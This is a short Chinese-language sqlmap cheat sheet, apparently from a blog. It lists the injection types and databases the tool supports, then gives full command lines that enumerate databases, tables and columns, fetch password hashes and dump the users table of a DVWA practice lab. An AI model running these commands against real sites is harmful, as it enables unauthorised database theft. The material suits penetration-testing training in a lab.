Sqlmap
-支持的SQL注入方式
1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入,可以使用union的情况下的注入。
5、堆查询注入,可以同时执行多条语句的执行时的注入。
-支持的数据库:
MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB
-检测注入
-基本格式:sqlmap -u “http://www.vuln.cn/post.php?id=1”
- -u [目标url]
- 默认使用一级检测,级别对应返回的信息详细情况(控制加-level n, eg:-level 4)
-其他
-
- 跟随302跳转
- Cookie注入(-level 2)
- 从post包注入
-常见注入参数Eg
获取当前数据库: python sqlmap.py -u “http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” –cookie="PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low” -b –current-db –current-user
–cookie : 设置我们的cookie值
-u : 指定目标URL
-b : 获取DBMS banner
–current-db : 获取当前数据库
用户名密码: python sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low”--string=”Surname” --users --password
–string : 当查询可用时用来匹配页面中的字符串
–users : 枚举DBMS用户
–password : 枚举DBMS用户密码hash
枚举系统中所有的数据库:python sqlmap.py -u “http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low” --dbs
–dbs: 枚举DBMS中的数据库
枚举数据库中的数据表(以DVWA为例):sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low” -D dvwa --tables
-D : 要枚举的DBMS数据库
–tables : 枚举DBMS数据库中的数据表
获取用户表中的列:sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=”
PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low” -D dvwa -T users --columns
-T : 要枚举的DBMS数据库表
–columns : 枚举DBMS数据库表中的所有列
将每一列内容提取出来:sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low”-D dvwa -T users -C user,password --dump
-T : 要枚举的DBMS数据表
-C: 要枚举的DBMS数据表中的列
–dump : 转储DBMS数据表项
https://www.freebuf.com/articles/web/29942.html
https://www.cnblogs.com/bluelotus222/p/9325759.html
来源:https://www.cnblogs.com/jpga/p/12599812.html